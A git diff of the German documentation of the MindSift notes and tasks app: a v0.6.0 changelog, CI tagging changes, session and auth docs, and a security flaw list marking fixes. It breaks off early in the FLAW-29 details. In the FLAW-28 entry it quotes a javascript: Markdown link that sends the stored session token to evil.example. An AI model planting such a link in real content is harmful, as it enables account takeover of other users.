diff --git a/.gitea/workflows/build-and-publish.yaml b/.gitea/workflows/build-and-publish.yaml index abee376..d62768a 100644 --- a/.gitea/workflows/build-and-publish.yaml +++ b/.gitea/workflows/build-and-publish.yaml @@ -4,6 +4,7 @@ name: MindSift CI & Docker Release # push to dev -> :dev # push/merge main -> :latest # git tag v1.2.0 -> :v1.2.0 and :stable +# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays on: push: branches: @@ -39,6 +40,7 @@ jobs: # All tags of this run (space separated) case "${GITHUB_REF:-}" in + refs/tags/*-*) TAGS="${DOCKER_TAG}" ;; refs/tags/*) TAGS="${DOCKER_TAG} stable" ;; refs/heads/main) TAGS="latest" ;; *) TAGS="${DOCKER_TAG}" ;; diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..07beef6 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,45 @@ +# Changelog + +Alle nennenswerten Änderungen an MindSift stehen in dieser Datei. + +Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert. + +## [Unreleased] + +## [0.6.0] - 2026-10-29 + +### Added +- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät. +- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`. +- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten. + +### Changed +- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt). +- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an. +- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`. +- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`. +- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht. +- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur. + +### Fixed +- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38). +- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht. + +### Security +- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28). +- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29). +- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30). +- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31). +- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32). +- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39). +- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40). +- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33). +- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34). +- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35). +- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36). +- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37). + + + +[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...dev +[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0 diff --git a/Doku/README.md b/Doku/README.md index 32115a3..c9d59ad 100644 --- a/Doku/README.md +++ b/Doku/README.md @@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code - **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`). - **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen. - **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)). -- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks. +- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks. - **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser. ## Entwickeln diff --git a/Doku/api/rest.md b/Doku/api/rest.md index a47a6f1..6b2560a 100644 --- a/Doku/api/rest.md +++ b/Doku/api/rest.md @@ -1,6 +1,6 @@ # REST-API -Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer `. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go). +Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer `. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go). ## Öffentlich @@ -10,12 +10,12 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}` | GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) | | GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist | | POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt | -| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben | +| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten | | POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` | -| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen | +| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten | | POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link | | POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) | -| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste | +| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste | | POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE | | GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header | | GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header | @@ -26,9 +26,11 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}` |---|---|---| | GET | `/auth/me` | Benutzer und Kennzahlen | | POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff | -| POST | `/auth/logout` | Token sperren | +| POST | `/auth/logout` | Sitzung dieses Geräts beenden | +| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` | +| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung | | POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) | -| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` | +| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` | | POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) | | GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) | | GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) | @@ -188,7 +190,7 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant | PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen | | PUT | `/admin/users/{id}/password` | Passwort zurücksetzen | | GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) | -| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben | +| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert | | GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) | | POST | `/admin/smtp/test` | Testmail (`toEmail`) | | GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) | diff --git a/Doku/architecture.md b/Doku/architecture.md index 56daeb0..f890dbf 100644 --- a/Doku/architecture.md +++ b/Doku/architecture.md @@ -60,12 +60,12 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/ | `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) | | `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert | | `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` | -| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus | +| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus | | `BASE_URL` | `http://localhost:` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail | | `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) | | `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang | | `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` | -| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen | +| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) | | `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. | | `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar | | `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) | @@ -77,9 +77,10 @@ Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in ## Authentifizierung - **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`). -- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). -- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht. -- **Logout** schreibt den Token-Hash in `revoked_tokens`. +- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage. +- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen). +- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht. +- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse. - **API-Keys:** `mindsift_sec_`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`. - **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile. - **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator. @@ -100,9 +101,11 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift ( Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata ``` -**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht. +**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht. -Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`. +**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer. + +Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`. Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`). diff --git a/Doku/database.md b/Doku/database.md index eb618c5..535b0a7 100644 --- a/Doku/database.md +++ b/Doku/database.md @@ -1,6 +1,6 @@ # Datenbank -SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`). +SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit). ## Tabellen @@ -10,7 +10,7 @@ SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `j |---|---|---| | `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) | | `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` | -| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` | +| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) | | `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` | | `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` | | `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` | diff --git a/Doku/flaws.md b/Doku/flaws.md index aee8532..96526f2 100644 --- a/Doku/flaws.md +++ b/Doku/flaws.md @@ -10,19 +10,19 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** | ID | Bereich | Kurzbeschreibung | Schwere | |---|---|---|---| -| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch | -| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel | -| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel | -| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel | -| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel | -| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel | -| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig | -| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig | -| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig | -| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig | -| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig | -| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig | -| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig | +| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** | +| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** | +| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** | +| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** | +| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** | +| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** | +| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** | +| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** | +| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** | +| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** | +| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** | +| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** | +| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** | | FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig | --- @@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** ## Details ### FLAW-28: `javascript:`-Links in Markdown +- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`. - **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu ``. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz. - **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt. - **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29). ### FLAW-29: Keine Sicherheits-Header +- **Status: Behoben.** 